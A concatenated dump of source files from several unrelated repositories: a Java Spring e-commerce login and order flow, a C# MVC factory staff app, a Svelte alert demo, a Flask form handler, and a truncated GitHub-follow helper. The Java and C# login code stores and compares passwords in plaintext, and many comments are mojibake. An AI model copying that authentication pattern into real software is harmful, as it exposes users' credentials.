if (error != null) {
System.err.println("member: login failed");
//result.addError(new ObjectError("loginError", "ใกใผใซใขใใฌในใพใใฏใในใฏใผใใไธๆญฃใงใใ"));
model.addAttribute("loginError", "ใกใผใซใขใใฌในใพใใฏใในใฏใผใใไธๆญฃใงใใ");
}*/
return "login";
}
/**
* ใญใฐใคใณๅพๆค็ดข็ป้ขใ่กจ็คบใใพใ
*
* @param model
* @return ใญใฐใคใณๅพๆค็ดข็ป้ข
*/
@RequestMapping("/item-list")
public String itemList(Model model) {
return "item-list";
}
/**
* ใญใฐใคใณๅฆ็ใ่กใใพใ.
*
* @param formใใใฉใผใ
* @param resultใใชใถใซใ
* @param modelใใขใใซ
* @returnใใญใฐใคใณๆๅๆ๏ผๆธ็ฑใชในใ็ป้ข
*/
@RequestMapping("/login")
public String login(@Validated LoginForm form,BindingResult result, Model model) {
if (result.hasErrors()){
return index(model);
}
String email = form.getEmail();
String password =form.getPassword();
User user = userService.findOneByMailAndPass(email, password);
if (user == null) {
ObjectError error = new ObjectError("loginerror", "ใกใผใซใขใใฌในใพใใฏใในใฏใผใใ้ใใพใใ");
result.addError(error);
System.out.println("ๅคฑๆ");
return index(model);
}
model.addAttribute("user", user);
System.out.println("ๆๅ");
return "redirect:/item-list";
}
}
```
OrderController.java
```package jp.co.rakus.ecommerce_b.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import jp.co.rakus.ecommerce_b.domain.Order;
import jp.co.rakus.ecommerce_b.form.OrderForm;
import jp.co.rakus.ecommerce_b.service.OrderService;
/**
*ใๆ็ตๆณจๆใใใใใใฎcontroller.
*
* @author yuya.nishikiori
*
*/
@Controller
@RequestMapping("/order")
public class OrderController {
@Autowired
public OrderService service;
@ModelAttribute
public OrderForm SetUpForm() {
return new OrderForm();
}
/**
* ๆณจๆ็ป้ขใ่กจ็คบ.
*
* @return ๆณจๆ็ขบ่ช็ป้ขใซreturn.
*/
@RequestMapping("/order")
public String order(@Validated OrderForm orderForm,BindingResult result,Model model) {
Order order = service.findByUserIdAndStatus(); //ๆชๅ
ฅ้ใฎ order ใไฝฟ็จ
model.addAttribute("order",order); //ๆชๅ
ฅ้ใฎ order ใใconfirm็ป้ขใงไฝฟ็จ
return "order_confirm2";
}
/**
* ๆณจๆใDBใซไฟๅญ.
*
* @return ๆณจๆๅฎไบ็ป้ขใซreturn.
*/
@RequestMapping("/orderConfirm")
public String orderConfirm(Order order) {
service.save(order); // orderๆ
ๅ ฑใupdateใใ
return "order_finished";
}
}
```
package-info.java
```/**
*
*/
/**
* @author kento
*
*/
package jp.co.rakus.ecommerce_b.form;```
UserRepository.java
```package jp.co.rakus.ecommerce_b.repository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataAccessException;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.core.namedparam.MapSqlParameterSource;
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
import org.springframework.jdbc.core.namedparam.SqlParameterSource;
import org.springframework.stereotype.Repository;
import jp.co.rakus.ecommerce_b.domain.User;
@Repository
public class UserRepository {
/**
* ResultSetใชใใธใงใฏใใใMemberใชใใธใงใฏใใซๅคๆใใใใใฎใฏใฉในๅฎ่ฃ
&ใคใณในใฟใณในๅ
*/
private static final RowMapper<User> USER_ROW_MAPPER = (rs, i) -> {
Integer id = rs.getInt("id");
String name = rs.getString("name");
String email = rs.getString("email");
String password = rs.getString("password");
String zipcode = rs.getString("zipcode");
String address = rs.getString("address");
String telephone = rs.getString("telephone");
return new User(id, name, email, password, zipcode, address, telephone);
};
@Autowired
private NamedParameterJdbcTemplate template;
/* ใกใผใซใขใใฌในใจใในใฏใผใใใใกใณใใผใๅๅพ.
@param mailAddress
ใกใผใซใขใใฌใน
@param password
ใในใฏใผใ
@return ใกใณใใผๆ
ๅ ฑ.ใกใณใใผใๅญๅจใใชใๅ ดๅใฏnull.
*/
public User findByMailAndPass(String email, String password) {
User user = null;
String sql = "SELECT id, name, email, password, zipcode, address, telephone FROM users WHERE email=:email AND password=:password;";
try {
SqlParameterSource param = new MapSqlParameterSource().addValue("email", email).addValue("password", password);
user = template.queryForObject(sql, param, USER_ROW_MAPPER);
//System.out.println("a");
return user;
} catch (DataAccessException e) {
//System.out.println("b");
return null;
}
}
}
```
Ec201810bApplication.java
```package jp.co.rakus.ecommerce_b;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Ec201810bApplication {
public static void main(String[] args) {
SpringApplication.run(Ec201810bApplication.class, args);
}
}
```
ItemService.java
```package jp.co.rakus.ecommerce_b.service;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import jp.co.rakus.ecommerce_b.domain.Item;
import jp.co.rakus.ecommerce_b.repository.ItemRepository;
@Service
public class ItemService {
@Autowired
private ItemRepository itemRepository;
/**
* ใใผใใซใซ็ป้ฒใใใฆใใๅ
จใฆใฎๅๅๆ
ๅ ฑใ่ฟใ.
*
* @return List<Item> ๅๅไธ่ฆงใ่กจ็คบ
*/
public List<Item> findAll() {
return itemRepository.findAll();
}
}
```
PutItemIntoCartService.java
```package jp.co.rakus.ecommerce_b.service;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import jp.co.rakus.ecommerce_b.domain.Order;
import jp.co.rakus.ecommerce_b.domain.OrderItem;
import jp.co.rakus.ecommerce_b.domain.OrderTopping;
import jp.co.rakus.ecommerce_b.form.PutItemIntoForm;
import jp.co.rakus.ecommerce_b.repository.OrderItemRepository;
import jp.co.rakus.ecommerce_b.repository.OrderRepository;
import jp.co.rakus.ecommerce_b.repository.OrderToppingRepository;
@Service
public class PutItemIntoCartService {
@Autowired
private OrderRepository orderRepository;
@Autowired
private OrderItemRepository orderItemRepository;
@Autowired
private OrderToppingRepository orderToppingRepository;
public void putItemIntoCart(PutItemIntoForm form) {
Order order = new Order();
//ใปใใทใงใณใใๅใๅบใใใฆใผใถใผIDใorderใชใใธใงใฏใใซใปใใใใ
order = orderRepository.save(order);
OrderItem orderItem = new OrderItem();
orderItem.setItemId(form.getIntValueOfItemId());
orderItem.setQuantity(form.getIntValueOfQuantity());
orderItem.setOrderId(order.getId());
orderItem.setSize(form.getSize());
orderItem = orderItemRepository.insert(orderItem);
List<String> toppings = form.getToppingList();
for (String topping : toppings) {
OrderTopping ordertopping = new OrderTopping();
int toppingId = Integer.parseInt(topping);
ordertopping.setToppingId(toppingId);
ordertopping.setOrderItemId(orderItem.getId());
ordertopping = orderToppingRepository.insert(ordertopping);
}
}
}
```
OrderService.java
```package jp.co.rakus.ecommerce_b.service;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import jp.co.rakus.ecommerce_b.domain.Order;
import jp.co.rakus.ecommerce_b.repository.OrderRepository;
@Service
public class OrderService {
@Autowired
public OrderRepository repository;
/* ้ฝ่คใใใจไฝๆ
* ๆชๅ
ฅ้ใฎ order ใๅๅพใใ.
* @return ๆชๅ
ฅ้ใฎ orderใ่ฟใ.
*/
public Order findByUserIdAndStatus() {
return null;
}
/*
* ๆณจๆใDBใซไฟๅญใใ update ใๅผใณๅบใ.
*
* @param order ๆณจๆๆ
ๅ ฑใ่ฉฐใพใฃใฆใใ.
* @return ๆณจๆๆ
ๅ ฑใ่ฟใ.
*/
public Order save(Order order) {
return repository.save(order);
}
}
```
OrderItemRepository.java
```package jp.co.rakus.ecommerce_b.repository;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.namedparam.BeanPropertySqlParameterSource;
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
import org.springframework.jdbc.core.namedparam.SqlParameterSource;
import org.springframework.jdbc.core.simple.SimpleJdbcInsert;
import org.springframework.stereotype.Repository;
import jp.co.rakus.ecommerce_b.domain.OrderItem;
@Repository
public class OrderItemRepository {
@Autowired
private NamedParameterJdbcTemplate template;
private SimpleJdbcInsert insert;
@PostConstruct
public void init() {
SimpleJdbcInsert simpleJdbcInsert = new SimpleJdbcInsert((JdbcTemplate) template.getJdbcOperations());
SimpleJdbcInsert withTableName = simpleJdbcInsert.withTableName("order_items");
insert = withTableName.usingGeneratedKeyColumns("id");
}
public OrderItem insert(OrderItem orderItem) {
SqlParameterSource param = new BeanPropertySqlParameterSource(orderItem);
Number key = insert.executeAndReturnKey(param);
orderItem.setId(key.intValue());
return orderItem;
}
}
```
package-info.java
```/**
*
*/
/**
* @author kento
*
*/
package jp.co.rakus.ecommerce_b.service;```
|
yuvalbj/FactoryPrj
|
yuvalbj/FactoryPrj
LoginBL.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class LoginBL
{
FactoryEntities1 db = new FactoryEntities1();
public bool IsAuthenticated(string usrname, string pwd)
{
var result = db.Users.Where(x => x.UserName == usrname && x.Password == pwd);
var user = db.Users.Where(x => x.UserName == usrname).First();
if (result.Count() == 0)
{
return false;
}
else
{
if (user.Date != DateTime.Today)
{
user.NumOfActions = 0;
db.SaveChanges();
}
return true;
}
}
public bool IsCrossedLImitPerDay(string usrname)
{
var user = db.Users.Where(x => x.UserName == usrname).First();
if (user.Date == DateTime.Today)
{
if (user.NumOfActions <= user.Credits)
{
user.NumOfActions++;
db.SaveChanges();
return true;
}
else
{
return false;
}
}
else
{
user.NumOfActions++;
user.Date = DateTime.Now;
db.SaveChanges();
return true;
}
}
public User getUser(string usrname)
{
return db.Users.Where(x => x.UserName == usrname).First();
}
}
}```
DataForSearch.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class DataForSearch
{
public string DepName { get; set; }
public int empID { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
}
}```
EmpIDandShifts.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class empIDandShifts
{
public int empShifID {get; set; }
public int EmpID { get; set; }
public string DateAsString { get; set; }
public int shiftID { get; set; }
}
}```
EmpBL.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class EmpBL
{
FactoryEntities1 db = new FactoryEntities1();
public List<DataForSearch> Serach(string str)
{
var result = from emp in db.Employees
join dep in db.Departments on emp.DepID equals dep.DepID
select new DataForSearch
{
empID = emp.EmpID,
DepName = dep.DepName,
FirstName = emp.FirstName,
LastName = emp.LastName
};
return result.Where(x => x.DepName.Contains(str) || x.FirstName.Contains(str) || x.LastName.Contains(str)).ToList();
}
public List<empIDandShifts> getAllEmpsWithDateAsString()
{
var result = from emp in db.Employees
join allShif in db.EmployeeShifts on emp.EmpID equals allShif.EmpID
join shif in db.Shifts on allShif.ShiftID equals shif.ShiftID
select new empIDandShifts
{
empShifID = allShif.EmpShiftID,
EmpID = allShif.EmpID,
DateAsString = shif.Date.ToString() + " , "+ shif.StartTime.ToString() + " - " +shif.EndTime.ToString(),
shiftID = shif.ShiftID
};
return result.ToList();
}
public Employee GetEmployee(int id)
{
return db.Employees.Where(x => x.EmpID == id).First();
}
public List<Employee> GetEmployees()
{
return db.Employees.ToList();
}
public void UpdateEmp(Employee emp)
{
var empToChange = db.Employees.Where(x => x.EmpID == emp.EmpID).First();
empToChange.FirstName = emp.FirstName;
empToChange.LastName = emp.LastName;
empToChange.StartWorkYear = emp.StartWorkYear;
empToChange.DepID = emp.DepID;
db.SaveChanges();
}
public void DeleteEmp(int id)
{
Employee emp = db.Employees.Where(x => x.EmpID == id).First();
db.Employees.Remove(emp);
var result = db.EmployeeShifts.Where(x => x.EmpID == id).ToList();
foreach (var empshif in result)
{
db.EmployeeShifts.Remove(empshif);
}
db.SaveChanges();
}
public object getEmpFullName()
{
var result = from emp in db.Employees
select new
{
empID = emp.EmpID,
fullName = emp.FirstName + " " + emp.LastName
};
return result.ToList();
}
}
}```
CurrencyFor.cs
```๏ปฟusing System.Globalization;
using System.Linq.Expressions;
using System.Runtime.InteropServices;
namespace System.Web.Mvc.Html
{
public static partial class HtmlHelpers
{
/// <summary>
/// Creates an input with a currency mask using JQuery, MoneyMask and Bootstrap. Remember to set the jquery.maskmoney.js reference to your page in order to use the currency mask.
/// </summary>
/// <typeparam name="TModel"></typeparam>
/// <typeparam name="TValue"></typeparam>
/// <param name="self"></param>
/// <param name="expression"></param>
/// <param name="culture">The country culture for currency pattern. If informed, the helper will retrieve the culture data from the framework, if not, it'll retrieve from the Web.Config specified under the system.web/globalization property. If both are not informed, will get 'en-US' pattern as default. </param>
/// <param name="events">Custom properties to be added to the tag. Separate them using the equals (=) sign.</param>
/// <returns></returns>
public static MvcHtmlString CurrencyFor<TModel, TValue>(this HtmlHelper<TModel> self, Expression<Func<TModel, TValue>> expression, [Optional] string culture, [Optional] params string[] events)
{
var metadata = ModelMetadata.FromLambdaExpression(expression, self.ViewData);
// Creates the main Input tag and set general values.
var input = new TagBuilder("input");
input.Attributes.Add("id", metadata.PropertyName);
input.Attributes.Add("name", metadata.PropertyName);
input.Attributes.Add("type", "currency");
// Bootstrap CSS class for inputs.
input.AddCssClass("form-control");
// Replaces the value if the Model is not null.
input.Attributes.Add("value", metadata.Model == null ? "" : metadata.Model.ToString().Remove(metadata.Model.ToString().Length - 2));
// Starts the JQuery.MoneyMask on element load.
input.Attributes.Add("onfocus", "$('#" + metadata.PropertyName + "').maskMoney();");
// Gets the Culture.
CultureInfo currentCulture;
try
{
currentCulture = new CultureInfo(culture, false);
}
catch (Exception)
{
// If culture is not found, returns the default below.
currentCulture = new CultureInfo("en-US");
}
// Sets the placeholder format according to the culture.
input.Attributes.Add("placeholder", "0" + currentCulture.NumberFormat.CurrencyDecimalSeparator + "00");
// Currency mask data-* attributes according to the Culture.
// Thousand separators.
input.Attributes.Add("data-thousands", currentCulture.NumberFormat.CurrencyGroupSeparator);
// Decimal separators.
input.Attributes.Add("data-decimal", currentCulture.NumberFormat.CurrencyDecimalSeparator);
// Adds the custom attributes.
Helpers.AddAtrributes(input, events);
// Prepend styling.
// Addon (the icon container)
var addon = new TagBuilder("span");
addon.AddCssClass("input-group-addon");
addon.InnerHtml = currentCulture.NumberFormat.CurrencySymbol;
// Input group that will hold all the tags and define the prepend boundaries.
var inputgroup = new TagBuilder("div");
inputgroup.AddCssClass("input-group");
// Adds the other elements inside the input group.
inputgroup.InnerHtml = addon.ToString() + input.ToString();
// Returns the input group.
return new MvcHtmlString(inputgroup.ToString());
}
}
}```
ShiftBL.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class ShiftBL
{
FactoryEntities1 db = new FactoryEntities1();
public List<Shift> GetShifts()
{
return db.Shifts.ToList();
}
public void AddShift(Shift s)
{
db.Shifts.Add(s);
db.SaveChanges();
}
public object GetShiftsWithEmployees()
{
var result = from emp in db.Employees
join allShif in db.EmployeeShifts on emp.EmpID equals allShif.EmpID
join shif in db.Shifts on allShif.ShiftID equals shif.ShiftID
select new ShiftIDAndEmployess
{
shiftID = shif.ShiftID,
empsInShift = emp.FirstName + " " + emp.LastName,
EmpID = allShif.EmpID
};
return result.ToList();
}
}
}```
EmployeeController.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using FactoryPrj.Models;
namespace FactoryPrj.Controllers
{
public class EmployeeController : Controller
{
EmpBL empBL = new EmpBL();
DepartmentBL depBL = new DepartmentBL();
ShiftBL ShiftBL = new ShiftBL();
EmplShiftBL emshifBL = new EmplShiftBL();
LoginBL loginBL = new LoginBL();
public ActionResult Index()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var emps = empBL.GetEmployees();
var shifts = empBL.getAllEmpsWithDateAsString();
var deps = depBL.GetDepartments();
ViewBag.deps = deps;
ViewBag.emps = emps;
ViewBag.shifts = shifts;
return View();
}
else
{
return RedirectToAction("Index", "Login");
}
}
[HttpPost]
public ActionResult SearchResult(string str)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var results = empBL.Serach(str);
ViewBag.emps = results;
return View("SearchResult");
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult EditEmp(int id)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var deps = depBL.GetDepartments();
ViewBag.deps = deps;
var emp = empBL.GetEmployee(id);
return View("EditEmp", emp);
}
else
{
return RedirectToAction("Index", "Login");
}
}
[HttpPost]
public ActionResult GetUpdatedEmp(Employee emp)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
empBL.UpdateEmp(emp);
return RedirectToAction("Index");
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult AddShiftToEmployee(int id)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var shifts = ShiftBL.GetShifts();
var emp = empBL.GetEmployee(id);
ViewBag.emp = emp;
ViewBag.shifts = shifts;
return View("AddShiftToEmployee");
}
else
{
return RedirectToAction("Index", "Login");
}
}
[HttpPost]
public ActionResult GetAddedShiftToEmp(int empID, int shiftID)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
emshifBL.AddEmpToShift(shiftID, empID);
return RedirectToAction("Index");
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult DelteEmployee(int id)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
empBL.DeleteEmp(id);
return RedirectToAction("Index");
}
else
{
return RedirectToAction("Index", "Login");
}
}
}
}```
ShiftController.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using FactoryPrj.Models;
namespace FactoryPrj.Controllers
{
public class ShiftController : Controller
{
ShiftBL shiftBL = new ShiftBL();
LoginBL loginBL = new LoginBL();
public ActionResult Index()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var emps = shiftBL.GetShiftsWithEmployees();
var shif = shiftBL.GetShifts();
ViewBag.shifts = shif;
ViewBag.emps = emps;
return View();
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult EditEmployee(int id)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
return RedirectToAction("EditEmp","Employee", new { id = id });
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult AddNewShift()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
return View("AddShift");
}
else
{
return RedirectToAction("Index", "Login");
}
}
[HttpPost]
public ActionResult GetNewShifts(Shift shif)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
shiftBL.AddShift(shif);
return RedirectToAction("Index");
}
else
{
return RedirectToAction("Index", "Login");
}
}
}
}```
DepartmentController.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using FactoryPrj.Models;
namespace FactoryPrj.Controllers
{
public class DepartmentController : Controller
{
DepartmentBL depBL = new DepartmentBL();
LoginBL loginBL = new LoginBL();
EmpBL empBL = new EmpBL();
public ActionResult Index()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var deps = depBL.GetDepartments();
var emps = empBL.GetEmployees();
ViewBag.deps = deps;
ViewBag.emps = emps;
return View();
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult EditDep(int id)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var emps = empBL.getEmpFullName();
ViewBag.emps = emps;
var dep = depBL.GetDepartment(id);
return View("EditDep", dep);
}
else
{
return RedirectToAction("Index", "Login");
}
}
[HttpPost]
public ActionResult GetUpdatedDep(Department dep)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
depBL.UpdateDep(dep);
return RedirectToAction("Index");
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult AddNewDep()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
var emps = empBL.getEmpFullName();
ViewBag.emps = emps;
return View("AddNewDep");
}
else
{
return RedirectToAction("Index", "Login");
}
}
[HttpPost]
public ActionResult GetNewDeps(Department dep)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
depBL.AddDep(dep);
return RedirectToAction("Index");
}
else
{
return RedirectToAction("Index", "Login");
}
}
public ActionResult DeleteDep(int id)
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
depBL.DeleteDep(id);
return RedirectToAction("Index");
}
else
{
return RedirectToAction("Index", "Login");
}
}
}
}```
ShiftIDAndEmployess.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class ShiftIDAndEmployess
{
public int shiftID { get; set; }
public string empsInShift { get; set; }
public int EmpID { get; set; }
}
}```
EmplShiftBL.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class EmplShiftBL
{
FactoryEntities1 db = new FactoryEntities1();
public List<EmployeeShift> getAllshiftswithEmployees()
{
return db.EmployeeShifts.ToList();
}
public EmployeeShift getShiftsbyID(int id)
{
return db.EmployeeShifts.Where(x => x.EmpID == id).First();
}
public void AddEmpToShift(int shiftID, int empID)
{
EmployeeShift empshif = new EmployeeShift()
{
ShiftID = shiftID,
EmpID = empID
};
db.EmployeeShifts.Add(empshif);
db.SaveChanges();
}
}
}```
LoginController.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using FactoryPrj.Models;
namespace FactoryPrj.Controllers
{
public class LoginController : Controller
{
LoginBL loginBL = new LoginBL();
public ActionResult Index()
{
return View();
}
[HttpPost]
public ActionResult GetHomePage(string usrname, string pwd)
{
bool isAuthenticated = loginBL.IsAuthenticated(usrname, pwd);
if (isAuthenticated == true)
{
var usr = loginBL.getUser(usrname);
Session["usrFullName"] = usr.FullName;
Session["userName"] = usr.UserName;
Session["authenticated"] = true;
return View("HomePage");
}
else
{
return RedirectToAction("Index");
}
}
public ActionResult Logout()
{
Session.Clear();
return View("Index");
}
public ActionResult GotoDepartment()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if(isActionAllowed == true && (bool)Session["authenticated"] == true)
{
return RedirectToAction("Index", "Department");
}
else
{
return View("Index");
}
}
public ActionResult GotoShifts()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if(isActionAllowed == true && (bool)Session["authenticated"] == true)
{
return RedirectToAction("Index", "Shift");
}
else
{
return View("Index");
}
}
public ActionResult GotoEmployee()
{
bool isActionAllowed = loginBL.IsCrossedLImitPerDay((string)Session["userName"]);
if (isActionAllowed == true && (bool)Session["authenticated"] == true)
{
return RedirectToAction("Index", "Employee");
}
else
{
return View("Index");
}
}
public ActionResult BackToHomePage()
{
return View("HomePage");
}
}
}```
DepartmentBL.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace FactoryPrj.Models
{
public class DepartmentBL
{
FactoryEntities1 db = new FactoryEntities1();
public List<Department> GetDepartments()
{
return db.Departments.ToList();
}
public Department GetDepartment(int id)
{
return db.Departments.Where(x => x.DepID == id).First();
}
public void UpdateDep(Department dep)
{
var depToChange = db.Departments.Where(x => x.DepID == dep.DepID).First();
depToChange.DepName = dep.DepName;
depToChange.DepManager = dep.DepManager;
db.SaveChanges();
}
public void AddDep(Department dep)
{
db.Departments.Add(dep);
db.SaveChanges();
}
public void DeleteDep(int id)
{
var depToDel = db.Departments.Where(x => x.DepID == id).First();
db.Departments.Remove(depToDel);
db.SaveChanges();
}
}
}```
|
yuwanli/svelte-demo
|
yuwanli/svelte-demo
main.js
```import Alert from './App.svelte';
new Alert({
target: document.getElementById('test1'),
props: {
title: 'this is success alert(can close)',
message: 'Success Text',
type: 'success',
closable: true,
showIcon: true
}
});
new Alert({
target: document.getElementById('test2'),
props: {
title: 'this is error alert(can close)',
message: 'error Text',
type: 'error',
closable: true,
showIcon: true
}
});
new Alert({
target: document.getElementById('test3'),
props: {
title: 'this is warning alert(can close)',
message: 'warning Text',
type: 'warning',
closable: true,
showIcon: true
}
});
new Alert({
target: document.getElementById('test4'),
props: {
title: 'this is info alert(can close)',
message: 'info Text',
type: 'info',
closable: true,
showIcon: true
}
});
new Alert({
target: document.getElementById('test5'),
props: {
title: 'this is success alert(cannot close no icon)',
message: 'Success Text',
type: 'success',
closable: false,
showIcon: false
}
});```
README.md
```
npm install
npm run dev
http://localhost:xxxx/icon/index.html
http://localhost:xxxx/alert/index.html
ๆฐๅข็ปไปถ๏ผๅฆalert๏ผ
1. public ไธๆทปๅ alert ๆไปถๅคน
2. public/alert ไธๆทปๅ `index.html` ๆไปถ
3. src ไธๆทปๅ ๅฏนๅบ็ alert ๆไปถๅคน
4. src/alert ไธๆทปๅ ๅ
ฅๅฃๆไปถ `main.js`
5. src/alert ไธๆทปๅ ไธป Svelte ๆไปถ `App.svelte````
main.js
```import mainfest from '@ant-design/icons/lib/manifest';
import Icon from './App.svelte';
console.log(mainfest)
const fillArr = mainfest.fill
for (let i = 0;i < fillArr.length; i++){
let elem = document.createElement('span')
new Icon({
target: elem,
props: {
type: fillArr[i],
theme: 'fill',
width: '20px',
height: '20px'
}
});
document.getElementById('fill').appendChild(elem)
}
const outlineArr = mainfest.outline
for (let i = 0;i < outlineArr.length; i++){
let elem = document.createElement('span')
new Icon({
target: elem,
props: {
type: outlineArr[i],
theme: 'outline',
width: '20px',
height: '20px'
}
});
document.getElementById('outline').appendChild(elem)
}
const twotoneArr = mainfest.twotone
for (let i = 0;i < twotoneArr.length; i++){
let elem = document.createElement('span')
new Icon({
target: elem,
props: {
type: twotoneArr[i],
theme: 'twotone',
width: '20px',
height: '20px',
twoToneColor: '#eb2f96',
}
});
document.getElementById('twotone').appendChild(elem)
}
```
|
yuwei845433424/welcomrtojnrain
|
yuwei845433424/welcomrtojnrain
main.js
```
$(document).ready(function() {
$('#header')
.css({ 'top':-30 })
.delay(1000)
.animate({'top': 0}, 800);
$('#footer')
.css({ 'bottom':-15 })
.delay(1000)
.animate({'bottom': 0}, 800);
})
function upload(){
var name = $("#name").val();
//deal with the situation of null or blank
if(name == null || name == ""){
alert("ๅงๅไธบ็ฉบ,่ฏท่พๅ
ฅๅๅจๆไบค");
return;
}
var tel = $("#tel").val();
if(tel == null || tel == ""){
alert("่็ณปๆนๅผไธบ็ฉบ,่ฏท่พๅ
ฅๅๅจๆไบค");
return;
}
var content = $("#content").val();
if(content == null || content == ""){
alert("่ชๆไป็ปไธบ็ฉบ,่ฏท่พๅ
ฅๅๅจๆไบค");
return;
}
$.ajax({
url: 'upload',
type: 'GET',
async:'false',
dataType: 'text',
data: {"name":name,"tel":tel,"content":content},
success:function(data){
},
error:function() {
}
})
}
```
hellosae.py
```#coding:utf-8
from flask import Flask
from flask import request,render_template
import MySQLdb as mdb
import os
import sae.const
app = Flask(__name__)
@app.route('/')
def hello_world():
return render_template('index.html')
@app.route('/upload', methods = ['GET','POST'])
def upload():
name = request.args['name']
tel = request.args['tel']
content = request.args['content']
try:
conn = mdb.connect(host= sae.const.MYSQL_DB , port=sae.const.MYSQL_PORT,user=sae.const.MYSQL_USER,passwd=sae.const.MYSQL_PASS ,db=sae.const.MYSQL_DB,charset='utf8')
except:
return render_template('wrong.html')
cursor = conn.cursor()
sqli = "insert into test(name,tel,content) values (%s,%s, %s)"
val = (name,tel,content)
cursor.execute(sqli,val)
conn.commit()
cursor.close()
conn.close()
return render_template('good.html')
if __name__ == '__main__':
app.run(host='0.0.0.0')
application = sae.create_wsgi_app(app)
```
|
yuxuan-ji/hackthe6ix
|
yuxuan-ji/hackthe6ix
follow_user.js
```const request = require("request");
/**
* Get an user
* @param {string} token OAuth token
* @param {string} target Username of the user you wish to follow
* @returns {any}
*/
module.exports = (token, target, context, callback) => {
var auth = 'token ' + token;
request(
{
method: 'PUT',
url: 'https://api.github.com/user/following/' + target,
headers: {
"Authorization": auth,
"Content-Length": 0,
"User-Agent": "github-lite"
}
},
function (error, response, body) {
